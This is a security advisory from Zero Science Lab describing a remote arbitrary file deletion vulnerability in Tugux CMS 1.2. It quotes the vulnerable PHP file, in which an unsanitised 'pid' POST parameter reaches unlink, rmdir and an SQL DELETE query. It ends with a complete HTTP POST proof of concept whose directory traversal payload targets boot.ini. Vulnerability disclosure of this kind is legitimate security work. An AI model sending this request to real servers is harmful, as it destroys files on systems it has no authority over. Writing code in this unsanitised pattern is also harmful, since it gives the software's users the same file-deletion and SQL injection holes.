Tugux CMS 1.2 Remote Arbitrary File Deletion

`  
Tugux CMS 1.2 (pid) Remote Arbitrary File Deletion Vulnerability  
  
  
Vendor: Tugux Studios  
Product web page: http://www.tugux.com  
Affected version: 1.2  
  
Summary: Tugux CMS is a free, open-source content Management system  
(CMS) and application that powers the entire web.  
  
Desc: Input passed to the 'pid' parameter in administrator/delete_page_parse.php  
is not properly sanitised before being used to delete files. This can be exploited  
to delete files with the permissions of the web server via directory traversal  
sequences passed within the 'pid' parameter.  
  
  
------------------------------------------------------------------------------  
/administrator/delete_page_parse.php:  
------------------------------------------------------------------------------  
  
1: <?php   
2: ///post form data  
3: $id=$_POST['pid'];  
4:   
5: $pic1 = ("slides/$id/image_01.jpg");  
6: if (file_exists($pic1)) {  
7: unlink($pic1);  
8: }  
9: $dir = "slides/$id";  
10: rmdir($dir);  
11:   
12: include_once "../scripts/connect_to_mysql.php";  
13: $query = mysqli_query($myConnection, "DELETE FROM pages WHERE id='$id' ") or die (mysqli_error($myConnection));  
14: echo '<table align="center"><tr> <td><div style=" width:300px; margin:auto; border:1px solid #BBB; font-family:Arial, Helvetica, sans-serif; color:#666; text-align:center">  
15: <img src="images/check.png" width="90" height="87"><br />  
16: Operation completed.Your page has been DELETED.<br />  
17: <a href="index.php">Click Here to go back</a></div></td></tr></table>';  
18: exit();  
19: ?>  
  
------------------------------------------------------------------------------  
  
  
Tested on: Microsoft Windows XP Professional SP3 (EN)  
Apache 2.2.14 (Win32)  
PHP 5.3.1  
MySQL 5.1.41  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
liquidworm gmail com  
Zero Science Lab  
  
  
Advisory ID: ZSL-2011-5024  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5024.php  
  
  
02.04.2011  
  
  
--  
  
POST /tugux/administrator/delete_page_parse.php HTTP/1.1  
Host: localhost  
Proxy-Connection: keep-alive  
User-Agent: x  
Content-Length: 175  
Cache-Control: max-age=0  
Origin: null  
Content-Type: multipart/form-data; boundary=----x  
Accept: text/html  
Accept-Language: en-US,en;q=0.8  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3  
  
------x  
Content-Disposition: form-data; name="pid"  
  
../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../boot.ini  
------x--  
`